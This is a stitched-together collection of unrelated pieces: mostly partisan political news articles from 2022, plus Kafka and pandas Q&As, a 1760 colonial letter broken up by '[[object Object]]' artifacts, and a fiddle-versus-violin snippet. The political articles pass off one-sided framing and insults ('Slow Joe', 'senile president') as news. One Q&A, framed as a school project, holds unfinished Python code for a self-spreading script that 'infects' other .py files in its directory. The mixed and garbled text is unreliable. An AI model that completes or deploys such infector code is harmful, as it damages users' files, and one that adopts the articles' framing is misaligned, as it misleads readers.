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By freedomwire
Democrat Raskin Is Terrified With New Trump Rumor…
(FreedomWire.org) – Democrat Rep. Jamie Raskin (MD) joined CBS's "Face the Nation" on Sunday to discuss the midterm elections with host Margaret Brennan, and suggested that some far-right House lawmakers could vote for former President Trump to be the next Speaker as an indication that House Minority Leader Kevin McCarthy (R-Calif.) may not have the votes to be the next leader.
Raskin told CBS's "Face the Nation" host Margaret Brennan some far-right lawmakers have "repeatedly" discussed voting for Trump.
"It's a real problem for Kevin McCarthy now, because there are certain pro-Trumpists within his House caucus who refuse to accept that he's really with Trump and they want to get rid of McCarthy," Raskin said.
"One potential candidate who's name has been floated is Donald Trump himself because the Speaker of the House does not have to be a member of the House," Raskin said.
Rep. Raskin is concerned Trump could become Speaker of the House.
"One potential candidate who's name has been floated is Donald Trump himself because the Speaker of the House does not have to be a member of the House." pic.twitter.com/5K0xuOfZoG
— Becker News (@NewsBecker) November 13, 2022
Raskin noted that the Speaker of the House does not have to be a member of Congress.
Brennan was skeptical.
"That's not a real option, though," she told Raskin.
But the Maryland congressman claimed the option is very much on the table.
"They talk about it repeatedly," Raskin said. "And if Trump decided he wanted to do it, it would pose a profound problem for their party because they refuse to do the right thing."
The Constitution does not require the Speaker of the House to be an incumbent member and representatives have used this rule to vote for candidates, often in protest, from outside of the House. In 2019, former Rep. Anthony Brindisi voted for Joe Biden — then the former vice president — as Speaker.
Bill Clinton Attempts Stand-Up Comedy…
By freedomwire November 4, 2022
(FreedomWire.org) – Former President Bill Clinton said on Wednesday that Republicans want people to be "miserable" and "angry."
While campaigning for Democrat Josh Riley, who is running to represent New York's 19th Congressional District, Clinton described Republicans as "pretty simple actually … and pretty straightforward. They say, 'I want you to be very miserable'" as well as "'very angry'" and to "'vote for us and we'll make it worse but we'll blame them.'"
"Republicans are pretty simple, actually. And pretty straight forward. They say, "I want you to be very miserable… and I want you to be very angry. And I want you to vote for us and we'll make it worse but we'll blame them [Democrats]" – Epstein client Bill Clinton pic.twitter.com/nLEROJRcet
— ForAmerica (@ForAmerica) November 3, 2022
Republicans have relied on key issues such as crime rates, and inflation to boost their campaigns across the nation. Clinton, while he didn't dispute Republican talking points, insisted that their rhetoric was nothing more than "tough talk."
"Here's the truth. We do have too much inflation, and we do have too much crime. But all this tough talk doesn't amount to a hill of beans, that the Republicans are making," he said.
Clinton then took aim at the prominent Republican Governors Ron DeSantis of Florida, and Greg Abbott of Texas calling out Republicans' apparent paradoxical lamentations. Clinton said that in the states under the stewardship of the "two shining stars of the Republican firmament", crime is "50 percent higher than it is in New York." While this is true, Clinton failed to mention that the District of Columbia, and the state of New Mexico – both under Democratic governance – have significantly higher crime rates than Florida and Texas with D.C. taking the top spot in the whole nation. Cherry-picking statistics can create any narrative suitable for a particular argument.
"But wait, you can't think, you're supposed to be mad," he added in an effort to redirect the ire of the constituency in attendance. Clinton then continued to echo a key Democrat talking point in these midterms by warning that if Republicans manage to take control of the House, they will slash the budgets of Medicare and Social Security.
These claims refer to Florida Senator Rick Scott's proposal to sunset all federal legislation after five years in order to force Congress to pass new laws keeping them on the books, and the suggestion that key Republicans of the House that they would consider using next year's debt-limit deadline to install new eligibility requirements for these popular programs. Scott maintains that he doesn't "know one Republican" willing to axe Social Security.
Clinton went on to criticize the lack of support by Republicans for the boondoggle infrastructure bill, a bill that promised $1.2 trillion in spending, only $110 billion of which was allocated for roads and bridges. Clinton remarked that only 13 Republican members of the House of Congress voted to pass the bill, citing its lack of GOP support due to their aim of infuriating American citizens.
"Why? They gotta keep you upset, they gotta keep you angry," the former president claimed.
In a 24-minute speech laden with jokes and folksy jargon, Clinton concluded to the crowd, "I want you to laugh because you can think when you laugh." The midterm elections are forecasted to be rousing successes for the Republican party. If the Democrats lose control of the House and fail to win the tightly contested race that saw former president Bill Clinton stump for a relatively unknown candidate, it's doubtful many will still be laughing.
Biden Continues Dangerous Rhetoric…
(FreedomWire.org) – During Wednesday's White House press conference, Fox News reporter Peter Doocy asked press secretary Karine Jean-Pierre if President Biden thinks Republican voters are a threat to Democracy.
Ahead of the midterms, Democrats and the White House have warned about candidates who deny the legitimacy of the 2020 presidential election, and have called Make America Great Again (MAGA) Republicans "a threat to democracy."
"Following up on your comment that there is an alarming number of Republicans who are saying they're not gonna accept election results, does that mean that President Biden thinks it is a threat to democracy if somebody votes Republican?" Doocy asked.
"No, that's a ridiculous question, no," Jean-Pierre said.
"Why is that a ridiculous question?" he asked.
"Because the American people should have their right to vote for whomever they want. Voting is a sacred right, it is something that the president wants to protect at every turn, and he has done that. He has taken actions to protect the right to vote, and you see Democrats in Congress also doing the work to protect the right to vote," Jean-Pierre said. "We are talking about mega-MAGA Republican officials who have been very clear about this, who say they are pro-police but then are also pro-insurrectionist. You cannot be pro-police and pro-insurrectionist. Who also say they want to defund the FBI. That is a problem."
Doocy: "Does President Biden think it's a 'threat to democracy' if somebody votes Republican?"
KJP: "That's a ridiculous question."
Doocy: "Why that's a ridiculous question?"
KJP: "Voting is sacred right, is something President wants to protect at every turn." pic.twitter.com/f6iMcUr4bH
— Becker News (@NewsBecker) November 2, 2022
Doocy then asked if Democrats and Republicans should be equally condemned for denying election results. The press secretary responded that the president will "call out any rhetoric" that threatens political violence, regardless of party affiliation.
DOOCY: "Is Biden going to call out Republicans who deny elections results AND Democrats…?"
KJP: "He will call out any rhetoric that leads to potentially political violence." pic.twitter.com/NODBFTzMDY
— America Unwoke 🇺🇸 (@AmericaUnwoke) November 2, 2022
During a speech in September, Biden said, "Too much of what's happening in our country today is not normal. Donald Trump and the MAGA Republicans represent an extremism that threatens the very foundations of our republic."
He claimed so-called "MAGA Republicans" do not "respect the Constitution. They do not believe in the rule of the law. They do not recognize the will of the people. They refuse to accept the results of a free election."
Tucker: "Joe Biden Really Has Crossed Over Into a Very Dangerous Place"
Biden: "Donald Trump and the MAGA Republicans represent an extremism that threatens the very foundations of our republic." pic.twitter.com/RVMp8xs8dA
— Ignorance, the root and stem of all evil (@ivan_8848) September 2, 2022
Peter Doocy Has Mic-Drop Moment Leaving Press Secretary Stammering…
By freedomwire October 18, 2022
(FreedomWire.org) – Fox News White House Correspondent Peter Doocy asked White House Press Secretary Karine Jean-Pierre on Monday if anybody approves of the administration's handling of inflation.
Doocy asked the press secretary why inflation is continuing to skyrocket despite President Joe Biden continuously promising to tackle the issue. Jean-Pierre expressed the administration's understanding of the American people's frustrations and warned that Republicans are going to make inflation worse by repealing the Inflation Reduction Act and CHIPS Act.
"The president understands, and we've talked about this many times, that inflation is an issue. High costs, costs, is an issue for the American people and so he's been very clear about making that his number one economic priority," Jean-Pierre said. "And he has done the work, and he's done the work with congressional Democrats when you think about the Inflation Reduction Act which is going to lower the cost for our seniors, millions and millions of seniors across the country. When you think about that $2,000 cap on their own Medicare prescription, when you think about the thousands of dollars that our seniors pay a month, now that's going to be $2,000 a year."
"That is the work that congressional Democrats and the president has done. Republicans did not vote for that at all and what Republicans want to do is that they want to repeal that very historic piece of legislation that is also going to lower energy costs, that is also going to help fight climate change. They want to get rid of it. So there is a contrast that we are going to make which is how Republicans are actually going to make things worse and Democrats want to do the opposite and make things a little easier," she continued.
Watch: Fox News' Peter Doocy challenges White House Press Secretary: "If Biden's top domestic priority is inflation, why doesn't he have more to show for it?" pic.twitter.com/1MdtOGsVLQ
— TV News Now (@TVNewsNow) October 17, 2022
"But, who exactly think the president is doing a good job on inflation because we've got a new poll that finds he receives his lowest job ratings on inflation at -38 points," Doocy said.
The press secretary reiterated that the president is working to lower the costs of gas, Medicare and healthcare. She then accused Republicans of refusing to work alongside the president to ease the burden of high costs on Americans.
"Republicans in Congress refuse, they refuse to be partners with us on this," she answered. "They refuse to help us. You think about the American Rescue Plan that has helped create an economy that is indeed resilient, that created jobs, they refuse to help."
Doocy to Karine Jean-Pierre: "Who exactly thinks the president is doing a good job on inflation?" pic.twitter.com/jKsMJJsCPQ
— The Post Millennial (@TPostMillennial) October 17, 2022
The Fox News reporter pointed out a general consensus held by most economists that the American Rescue Plan "has contributed" to inflation. She referred Doocy to Treasury Department Janet Yellen's scheduled statement on these reports, then argued that the pieces of legislation passed by the Biden administration are "popular with the American people."
KJP: "These pieces of legislation that we have worked so hard to get across the line…is going to change the lives of American people."
DOOCY: "When?" pic.twitter.com/hQwpCltNUz
— Townhall.com (@townhallcom) October 17, 2022
Doocy Asks The Questions Others Are Afraid To…
By freedomwire September 6, 2022
(FreedomWire.org) – Fox News correspondent Peter Doocy asked White House press secretary Karine Jean-Pierre on Tuesday if she believes the 2016 election was "stolen" following criticisms by President Biden against the GOP.
Karine Jean-Pierre: "Election deniers are a threat to democracy & are all insurrectionists"
Peter Doocy: "You tweeted in 2016 that Trump stole the election."
KJP: *panic, sweating* "…um…thats different, ok?" pic.twitter.com/D6eORKnv4g
— Benny Johnson (@bennyjohnson) September 6, 2022
Jean-Pierre: "Oh, I knew this was coming!"
Doocy: "…in 2016 Trump stole an election. You tweeted…"
Jean-Pierre: "I was waiting Peter when you were gonna ask me that question. (Laughs.)
Doocy: "Well, here we go. You tweeted Trump stole an election. You tweeted Brian Kemp stole an election. If denying election results is extreme now, why wasn't it then.?"
Jean-Pierre: "Yeah, so, let's let's be really clear. That, that comparison you made is just ridiculous. I have been…"
Doocy: "No, it's not ridiculous"
Jean-Pierre: "…You're asking, you're asking me a question, let me answer it."
Doocy: "And you said it was ridiculous."
Jean-Pierre: "I was, I was talking specifically at that time of what was happening with voting rights and the, what was in danger of voting rights, that's what I was speaking to at the time."
Jean-Pierre tweeted on December 17, 2016 with no apparent context of voting rights, "Stolen emails, stolen drone, stolen election …..welcome to the world of #unpresidented Trump"
Stolen emails, stolen drone, stolen election …..welcome to the world of #unpresidented Trump https://t.co/NI7vqPV6cu
— Karine Jean-Pierre (@K_JeanPierre) December 18, 2016
On March 12, 2019, Jean-Pierre said of the 2016 Georgia governor election in response to a comment claiming voter suppression and cheating, "Yes – the race was stolen."
Yes – the race was stolen.
— Karine Jean-Pierre (@K_JeanPierre) March 12, 2019
A year later on April 2, 2020, with no apparent context of voting rights, Jean-Pierre accused Kemp of stealing the election from Abrams, "Reminder: Brian Kemp stole the gubernatorial election from Georgians and Stacey Abrams."
Reminder: Brian Kemp stole the gubernatorial election from Georgians and Stacey Abrams.https://t.co/ZIKGTd6U1v
— Karine Jean-Pierre (@K_JeanPierre) April 2, 2020
DOOCY TIME: "A follow up about the MAGA Republican attention. So, if we're all in agreement that it is incorrect to say the 2020 election was stolen, what about the 2016 election?"
KJP: "Look, I'm not going to go back to where we were…We're going to focus on…today." pic.twitter.com/26uBeLDGTS
— Curtis Houck (@CurtisHouck) September 6, 2022
Last week, Biden slammed Republicans loyal to Trump as a threat to democracy, saying there was "no question that the Republican Party today is dominated, driven and intimidated by Donald Trump and the MAGA Republicans. And that is a threat to this country."
Doocy tried to get to the bottom of who exactly the President thinks is a threat to our country.
Peter Doocy checks Biden into nursing home after Joe's brain BREAKS, forgets his FASCIST speech last night about "MAGA Americans":
BIDEN TODAY: "I don't consider any Trump supporter to be a threat."
pic.twitter.com/EelV0duqnu
Many conservative critics, including on Fox News, have criticized Biden's remarks as intentionally divisive and partisan ahead of the fall midterm elections.
Biden Continues To Prove He Is The Divider In Chief…
By freedomwire August 30, 2022
(FreedomWire.org) – President Biden will deliver a prime-time address Thursday on the fight for democracy in America and "the continued battle for the soul of the nation," a White House official said Monday, an address that is likely to confirm his growing rhetorical emphasis on the anti-democratic forces he sees as capturing much of the Republican Party.
Biden is scheduled to deliver the GOP-bashing speech outside the Independence National Historical Park in Philadelphia.
"He will make clear who is fighting for those rights, fighting for those freedoms, and fighting for our democracy," the official said, adding that Biden will also tout what he sees as progress under his administration within the last two years.
The president's visit to his native Pennsylvania for the prime-time speech will be his third visit to the battleground state in a week.
Biden, who has been ramping up travel ahead of November's midterm elections, is set to make a speech on crime and gun safety in Wilkes-Barre on Tuesday. He will also attend a Labor Day parade in Pittsburgh next Monday.
His scheduled prime-time address will come exactly a week after he slammed MAGA philosophy as "semi-fascism" at a DNC rally in Maryland.
"We're seeing now either the beginning or the death knell of an extreme MAGA agenda," Biden told the crowd at a high school in Rockville.
"It's not just Trump … It's almost semi-fascism."
Biden used the rally to urge Americans to turn out to the polls in November to fight off "extreme" Trump supporters.
What is a maga Republican.??? Then he accuses GOP of turning toward Semi-Fascism… Biden said I don't Respect Maga Republican…#HappyFridayJoe pic.twitter.com/IACBhobSvc
— Ed Hancock (@hanco15654922) August 26, 2022
The Republican National Committee criticized the president's recent jabs at the GOP.
"Biden has pitted neighbors against each other, labeled half of Americans as fascist, and tarnished any idea of his promise of 'unity.' Families are left with a recession, high gas prices, and a nation on the wrong track," RNC spokesperson Emma Vaughn said in a statement.
Thursday's address, one of only a few Biden has given in prime time since entering the White House over a year and a half ago, is not being billed as a political speech. Additionally, the president may not repeat his stinging attacks on Trump and his legions of loyalists in the GOP.
Networks are allowing Biden to have prime time on their networks to run a campaign address for the democrats heading into the midterms. This isn't right. He's using it to spread hate & division in order to give the democrats an "advantage" this November. Imagine if trump did this
— Noah B. (@tundrafan76) August 30, 2022
However, the theme of working to protect the nation's democracy and rule of law has been a common one for Biden dating back to the launch of his successful presidential campaign more than three years ago. He repeatedly noted that viewing the controversial and violent protests by White supremacists in Charlottesville, Virginia in 2017 motivated him to make a third White House bid.
The upcoming Biden primetime address is just another distraction to get people thinking about 1/6 again instead of how much worse off their lives are under Biden's unprecedentedly unpopular and horrific leadership.
— Blair Brandt (@BlairBrandt) August 30, 2022
The president's choice of Philadelphia as the setting for his address comes as no surprise. Biden, in May 2019, held the first major rally of his successful presidential campaign in the city, which is located halfway between his native Scranton, Pennsylvania and his longtime hometown of Wilmington, Delaware.
Pennsylvania, long a crucial general election swing state, is home this cycle to crucial gubernatorial, Senate, and House showdowns.
The visits come as Biden's poll numbers continue to rebound after sinking deep into negative territory over the past year, fueled in part by rocketing gas prices and record inflation. With prices at the pump continuing to fall, inflation slightly easing, and with a slew of recent legislative successes, the president's approval ratings — while still well underwater — have edged up over the past month and a half.
#JoeBiden will address the nation today & a prime topic will be "The Soul" of the nation. Can you f'n believe it? Biden gave us Afghanistan, open borders, ⬆crime, ⬆gas prices, ⬆fentanyl crisis, ⬆spending, ⬆INFLATION & ⬆Division. Our soul is the problem Joe? @SenateGOP
— sully (@JohnSullysfb) August 30, 2022
Biden Proves He Is Not The Unifier He Claimed He Was Going To Be…
(FreedomWire.org) – Left-leaning media figures on MSNBC, CNN, as well as number of Democrats, have attempted to defend and unpack President Biden's comments in which he referred to "extreme MAGA" Republican philosophy as "semi-fascism."
"What we're seeing now is either the beginning or the death knell of an extreme MAGA philosophy," Biden said during a Thursday Maryland fundraiser. "It's not just Trump, it's the entire philosophy that underpins the — I'm going to say something, it's like semi-fascism."
Several reporters and guests over the weekend attempted to decipher Biden's statement, often clarifying that they did not believe it was a criticism of all, or even most Republicans. CNN national politics reporter Eva McKend said it seemed like Biden was attempting to "bring in" some Republicans to the fold with his words.
"It almost seemed like he was trying to call in some Republicans by delineating between MAGA Republicans and mainstream Republicans and try to bring them into the fold," she said.
pic.twitter.com/LZjSuTus0i
— Eva McKend (@evamckend) August 26, 2022
CNN political commentator Errol Louis also provided his thoughts on Biden's critique, arguing that despite being perhaps "harsher" than anticipated, it really just happened to be the "truth."
"I think the president is laying out the terms of the debate in very stark terms. A little harsher than maybe some of us expected, but that happens to be the truth. It happens to be what's at stake here," Louis said.
The topic was also discussed at length on CNN Newsroom with Pamela Brown, in which the host asked CNN political commentator Maria Cardona if she felt that Biden's "semi-fascist" comment aimed at millions of Americans was a mistake.
"No, because the president actually didn't call millions of Americans semi-fascists," Cardona said. "He called the Republicans that are supporting the big lie that Joe Biden did not legitimately win the election—
"But that's milli—that's a lot of people," Brown interjected.
"But, why is that Pam?" Cardona replied. "It's because Republican leaders from Donald Trump on down, to many that are in the Congress, many that are in the Senate, many that are on the ballot, many that are on the ballot going into the midterm elections who if elected would be in positions of power over elections and would overturn free and fair elections—that is fascism."
The discusson continued on over at MSNBC, where "The Beat" host Ari Melber asked The Atlantic staff writer Mark Leibovich what he thought of Biden using "the f-word."
"Well he said semi, so there was a modifier there," Leibovich said. He added that Biden and his administration seemed much more "emboldened" to use that kind of language, and to discuss threats to democracy as an election issue heading into the midterms.
MSNBC "Morning Joe" host Joe Scarborough felt that Biden did not go far enough in his comments, and instead should have outright called MAGA Republicans fascists.
"I must say actually, for the most extreme saying semi-fascist leads me only to the question—what's semi about that?" Scarborough said. "It's full-on fascism."
Only NBC's Peter Alexander and CNN's Don Lemon appeared to push back on the Biden administration's latest description for Trump-friendly Republicans.
Alexander suggested Sunday that Biden's comment likening Trump's philosophy to "semi-fascism" undercut his pledge to be a unifier.
Alexander noted that Biden's more aggressive tone as of late "fires up Democrats" and "juices up the base."
"But it also does become problematic because, you know, this is a guy who said he wants to be a unifier," Alexander added.
NBC's Peter Alexander: Biden's insult of Republicans as 'semi-fascists' is "problematic because [Biden] is a guy who said he wanted to be a unifier." pic.twitter.com/4Tb7rJJL2q
— RNC Research (@RNCResearch) August 28, 2022
White House press secretary Karine Jean-Pierre defended Biden's remarks during Friday's press briefing. When asked if Biden respects Americans who voted for President Donald Trump in 2020, Jean-Pierre replied that the president was "pretty clear" with his comments.
"I think he was pretty clear, and he was very powerful last night. Look, what the president said last night was that when it comes to MAGA Republicans, when it comes to the extreme, ultra wing of Republicans, they are attacking democracy, right? They are attacking, taking away rights and freedoms," Jean-Pierre said.
She later noted that, between threats of violence, and voting rights, historians would agree that Biden simply "called it what it is."
She later clashed with CNN's Lemon last week over why he used the terminology.
Karine Jean-Pierre is struggling to answer Don Lemon's question about what Joe Biden meant by Republicans being "semi-fascists."
She is so terrible at her job. If you can't even handle Don Lemon as a Democrat flack, you are beyond incompetent. pic.twitter.com/vUmI3h9IdX
— Kevin Tober (@KevinTober94) August 26, 2022
Democratic National Committee (DNC) Chair Jaime Harrison on Sunday said that Biden was being "consistent" when calling the MAGA philosophy linked to former President Trump "semi-fascism" despite Biden's own past calls for lowering the temperature on harsh rhetoric.
Earlier this year, President Biden rolled out a catchphrase trying to negatively characterize the GOP as "ultra-MAGA, referring to Trump's "Make America Great Again" slogan.
Biden's use of Antifa language ("semi-fascists") to describe political opponents helps explain why FBI was again used as political enforcers to raid home of his likely presidential campaign opponent. Biden's abuse of the use of force is perfectly in line w/his extremist rhetoric.
— Tom Fitton (@TomFitton) August 27, 2022
Joe Biden has called Trump supporters "the most extreme political organization" and now he's calling us SEMI-FASCISTS! It's funny to hear this coming from Democrats who WEAPONIZE law enforcement to achieve their own political agenda.
— Ronny Jackson (@RonnyJacksonTX) August 26, 2022
Brava as always to fearless and right @RitaPanahi!
Biden and the Democrats aren't merely "semi"-fascists, though.
They're full-on fascists constrained only by our Constitution, which is why they want to tear it up.
Vote EVERY Democrat OUT.https://t.co/WcBhrJFujb
— Nan Hayworth, M.D. (@NanHayworth) August 29, 2022
Trump Questions McConnell's Motive…
(FreedomWire.org) – For decades, Senate Minority Leader Mitch McConnell and his wife Elaine Chao have maintained a glaring conflict of interest, conducting extensive government business despite the Chao family's deep ties to China through a maritime shipping company. Now, former President Donald Trump is calling attention to the top Republican's problematic China ties, while most of Washington remains silent.
"Why do Republicans Senators allow a broken down hack politician, Mitch McConnell, to openly disparage hard working Republican candidates for the United States Senate[?]" Trump asked in a Truth Social post on Sunday. "This is such an affront to honor and to leadership. He should spend more time (and money!) helping them get elected, and less time helping his crazy wife and family get rich on China!"
President Trump SLAMMED RINO Mitch McConnell earlier today: pic.twitter.com/r4JZ9etc7I
— Alex Bruesewitz 🇺🇸 (@alexbruesewitz) August 22, 2022
It didn't take long for the corporate media to mock Trump's assertion, framing his legitimate criticism of McConnell and Chao as unfair and unjust. Some outlets such as Vanity Fair even hinted that Trump's comments were revenge against Chao for resigning from the Trump administration following the 2021 Capitol riot and subsequently cooperating with the illegitimate Jan. 6 Committee.
Trump's criticism of McConnell and Chao, however, is not something to be taken lightly. For years, the McConnell and Chao families have maintained a symbiotic relationship that grants opportunities to the Chaos' shipping company, Foremost Group, which largely operates in and on behalf of communist China.
This reciprocity is well documented, but unlike with Hunter Biden, there is less scrutiny from observers, including those on the right, for this "corruption by proxy," as author and Government Accountability Institute President Peter Schweizer calls it.
As Schweizer documented in his 2018 book "Secret Empires: How the American Political Class Hides Corruption and Enriches Family and Friends," McConnell took a strong stance against China before his marriage into the Chao family. According to Schweizer, it was a 1994 trip arranged by James Chao, McConnell's father-in-law, and sponsored by China State Shipbuilding Corp. (CSSP), one of the CCP's largest military contractors and reportedly an unofficial arm of the CCP navy, to meet the Chinese president that pushed McConnell to "increasingly avoid public criticism of China."
That's likely because Chao and her family are well-connected in communist China thanks to her father's company. Foremost is technically based out of New York but largely operates out of China, where at least 70 percent of its freight, mostly industrial, is delivered. Not only are a majority of Foremost's ships built in state-owned shipyards, but some are even financed by the Chinese Communist Party. They are then used to deliver cargo outlined in contracts with the communist government, which has clearly stated goals to rapidly expand its industries to compete with the U.S.
Foremost and the Chao family have benefitted from loans estimated to be between $350,000 and $1 million from the U.S. government and loans from Chinese banks known by the Trump administration as threats. Again, this is a company owned by the father-in-law of America's top congressional Republican and the father of the former transportation secretary. Not only do Chao's father and sister Angela Chao still share leadership over Foremost, but the pair also once sat on the board of an offshoot of the CSSP together.
This trend of the Chao family expanding their influence in China only continued as McConnell and his wife burrowed deeper into the American political system. When Trump named Chao head of the Department of Transportation in January of 2017, her family publicly rejoiced — likely at the opportunity to further their business interests. That same month, Chao's sister Angela was named independent non-executive director of the CCP-affiliated Bank of China.
Even though the Trump administration took a hardline stance against China and its intent to compete with the U.S., the Chao family company proceeded with the purchase of 10 new ships from the Chinese government. That strategic buy expanded the Foremost fleet capacity by more than 40 percent, enabling the company to do even more business with the CCP. It also came shortly after Chao secured a spot in the Trump Cabinet overseeing an industry in steep decline thanks to competition with China.
While China sought to expand its maritime endeavors, it was under Chao's leadership that the Department of Transportation proposed budget cuts for programs meant to stimulate American shipping and mariners.
McConnell still expresses some support for curbing China's ascent, but whether his concern is sincere or political is difficult to say.
Not only do McConnell and Chao's family members financially benefit from doing business with communist China, but so have McConnell and Chao. The political duo may not have a formal stake in the Chao shipping empire, but they have certainly amassed wealth from the business.
The biggest evidence for this came in 2008. Just one year after James Chao joined CSSC Holdings, in addition to running Foremost, McConnell received a "gift" of $5 to $25 million from his father-in-law. As Politico reported, that payment significantly bumped McConnell's net worth, which was measured at around $3.1 million in 2004, to between $9.2 million and $36.5 million in 2014.
Several members of Chao's family, including Angela and James, also contributed more than $1 million to McConnell's re-election campaigns. In other words, the founder of an unofficial arm of our top adversary's navy is helping keep McConnell in U.S. leadership. According to Schweizer, these kinds of payments could have been money designed to keep a favorable relationship between McConnell and the Chao family.
"Foreign governments and oligarchs like this form of corruption because it gives them private and unfettered gateways to the corridors of Washington power," Schweizer wrote in his book "Empires." "Foreign entities cannot legally make campaign contributions, so using this approach creates an alternative way to curry favor and influence America's political leaders. Simply camouflaging these transactions as business agreements provides another shield of plausible deniability."
DeSantis Goes Savage On Biden…
(FreedomWire.org) – Governor DeSantis of Florida wasn't holding back during a recent speech about President Slow Joe Biden. A speech in which he utterly wrecked Biden and blasted our senile president for just staring mindlessly at the teleprompter.
Joking about that during his savage, anti-Biden speech, DeSantis said "With Biden, you think of a guy staring into the teleprompter like a deer in the headlights."
DeSantis:
"When I think of Biden I think of him staring, like a deer in headlights at the teleprompter: 'End of quote, repeat the line.'" pic.twitter.com/gP3UJ7AU1d
— Citizen Free Press (@CitizenFreePres) August 19, 2022
In case you missed, here's Biden staring with dead eyes at the teleprompter and mindlessly repeating instructions.
Joe Biden accidentally reads the part on the teleprompter that says "repeat the line" when they wanted him to say the line again lmfao pic.twitter.com/pS3GdXPe5N
— Greg Price (@greg_price11) July 8, 2022
The deer in headlights remark was just one of DeSantis' savage attack on Biden. He also joked that he wished America a speedy recovery from Biden. DeSantis joked, "I must say he did test positive for COVID. And I want to on the behalf of the state of Florida wish President Biden a speedy recovery from COVID. And I also want to wish the United States of America a speedy recovery from Joe Biden."
I wish the United States of America a speedy recovery from Joe Biden… pic.twitter.com/y3EWGlZcqO
— American Pie (@1LuvsUsa) July 25, 2022
DeSantis continued to comment on what he thought Biden has failed with so far during his Presidency.
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Q: For Kafka message compression, will it show up in the topics compressed? I am using Apache Kafka and am trying to enable compression on my messages. I see my records make it into my offset explorer, but am not seeing any of the messages compressed. I have the following configurations:
public ProducerFactory<String, String> factory() {
   Map<String, Object> props = new HashMap<>();
   props.put(ProducerConfig.COMPRESSION_TYPE_CONFIG, "gzip");
   return new DefaultKafkaProducerFactory<>(props);
}

I use this factory to generate a KafkaTemplate as such:
KafkaTemplate<String, String> kt = new KafkaTemplate<>(factory());

And then this KafkaTemplate is used to send off records to the broker. Is this the correct way of configuring compression for a Kafka Producer? Should I be seeing these messages compressed when they show up in Offset Explorer, if not how would I be able to tell if compression is going on? Thanks.

A: Messages are automatically decompressed upon consumption, and offsets for individual messages don't change for compressed data
You'd be able to tell compression is working by looking at the disk storage used by the topic segments

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The Colonies: Motivations and Realities
A letter from Henry Ellis, Royal Governor of Georgia, in Savannah, to the headmen and warriors of the Creek Nation, May 26, 1760.
Friends and Brothers,
Robert Frenchis just come from your Nation and reports that several Traders in the Upper Towns have, at the Instigation of our Enemies, been killed by some of your mad People. I hope you remember, Brothers, that in our Treaties with you it is agreed that if the red or white People shall have anything to complain of each other they are in a friendly Manner to apply for Redress; the red People to me, and I to the Head Men of your Nation. If you have any real cause to be dissatisfied with the white People I desire you will let me know it to the End that it may be removed and not suffer your mad People to go on killing our Traders as Frenchsay they have done. Hearken to me, Brothers! I advise you as your true Friend not to throw away the white People, but hold them the faster by the Hand the more our Enemies endeavour[[object Object]] to separate Us: And though some of your People may have done a mad Thing yet Friends may overlook it and make all strait [[object Object]] again: Which that we may the sooner do, send down on head Man with your Answer to me who shall meet with no Harm but return safely to you; and you may be assured that though there are many of your People now amongst Us none of them shall be molested for we love to live in
Peace with the red People. Brothers, Do not throw away this Talk of your Friend.
Given under my Hand and Seal at Arms at Savannahin the Province of Georgiathe twentysixth [[object Object]] Day of May 1760.
[[object Object]] Henry Ellis
To the Mico's Head-Men and Warriors of the Creek Nations, The Governour [[object Object]] of Georgiasends Greeting --
Ellis, Henry, "[Letter] 1760 May 26, Savannah, Georgia to the Mico's Head-Men [i.e. Micco's headmen] and warriors of the Creek Nation," Digital Public Library of America, http://dp.la/item/2015ad723e3572ee4692e9d79eb08008.
Courtesy of Hargrett Library via Digital Library of Georgia.
Item 12 of 12 in the Primary Source Set The Colonies: Motivations and Realities
A collection of accounts of cases prosecuting Quakers for refusing to pay religious fees, London, 1736.
A critical summary of Quaker beliefs and practices, from a letter to a member of the House of Commons, London, 1736.
A pamphlet defending the position of the Quakers on religious fees, London, 1737.
A map showing the British colonies in North America in the eighteenth century.
A printed statement to Sir Robert Walpole, First Commissioner of the Treasury, about the role of colonies in the British Empire, London, 1731.
A 1755 essay about the relationship between England and her North American colonies, London, 1755.
A 1734 drawing showing the plan for Georgia Colony.
A map of the county of Savannah, 1735.
A map of New Ebenezer, Georgia, 1747.
A sketch of New Ebenezer, Georgia, 1736.
A map of Yamacraw Territory, 1745.

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Q: Check if specific column is greater than another column and create a new column based on condition in pandas dataframe I have a pandas dataframe with variables as ID, other variables I have grouped them into list
as shown below:
CYCLE_BALANCE =['BILL_BAL_01',  'BILL_BAL_02',  'BILL_BAL_03',  'BILL_BAL_04',
                'BILL_BAL_05',  'BILL_BAL_06']

CASH_BALANCE = ['BILL_CASH_BAL_01', 'BILL_CASH_BAL_02', 'BILL_CASH_BAL_03',
                'BILL_CASH_BAL_04', 'BILL_CASH_BAL_05', 'BILL_CASH_BAL_06']

I want to check below condition and calculate the count in new column as below:
for index in dqc_data1.iterrows():
    for i in CYCLE_BALANCE:
        for j in CASH_BALANCE:
            count = 0
            if dqc_data1.loc[i]> dqc_data1.loc[j]:
                dqc_data1['count1'] = count + 1

In single row it should check corresponding variables and as the condition satisfied count should increment. Thank you

A: use a dataframe transform and a lambda function instead of iloc.  transforms apply logic to every row in the dataframe and assign the results to a dataframe column


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Q: How to implement infection functionality in a python script? This is for a school project. I have a python script where the intention is to take every python script in the current working directory, and modify these scripts so they append their command line argument to a file (Q1C.out), and also modify these scripts so that when they run, it modifies scripts in their current working directory in the same way. Here is the (unfinished) code for this:
import os
import sys
# Isolate python scripts in curent working directory, only modify those ones
cwd = os.getcwd()

for filename in os.listdir(cwd):
    if not filename.endswith('.py'):
        continue

    with open(filename) as f:
        if 'Q1C.out' in f.read():
            print(f'{filename} already infected')
            continue
    # Actual modification: write command line argument to 'Q1C.out'.
    # Also, when modified script is run, it should modify all python scripts
    # In it's current working directory the same way this file does.
    with open(filename, 'a') as f:
        f.write('\n\nimport os\nimport sys\n\n')
        f.write('args = " ".join(sys.argv)\n')
        f.write('cwd = os.getcwd()\n')
        f.write('with open("Q1C.out", "a") as outfile:\n')
        f.write('   outfile.write(f"{args}\\n")\n')
        f.write('for filename in os.listdir(cwd):\n')
        f.write('   if not filename.endswith(".py"):\n')
        f.write('       continue\n')
        f.write('   with open(filename, "a") as f:\n')

It is this 'infection' functionality where I get stuck. I can make it so when the original script is run, that it modifies every python script in the current working directory properly, but I'm not sure how I would make it so when the modified scripts run they also modify scripts in their directory the same way. If I need to re-explain any concept regarding the code or what it's supposed to do, please just let me know! Thank you!


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Fiddle vs Violin
Some of the most common arguments with music folk revolve around the fiddle vs violin debate. We can't help but be curious about the two terms because classic musical pieces address them separately. In modern times, the word "fiddler" is rarely used to describe string players. They are often called violinists because it sounds simpler and more formal. Because of this, people can't help but wonder which term to use when discussing the elegant instrument.
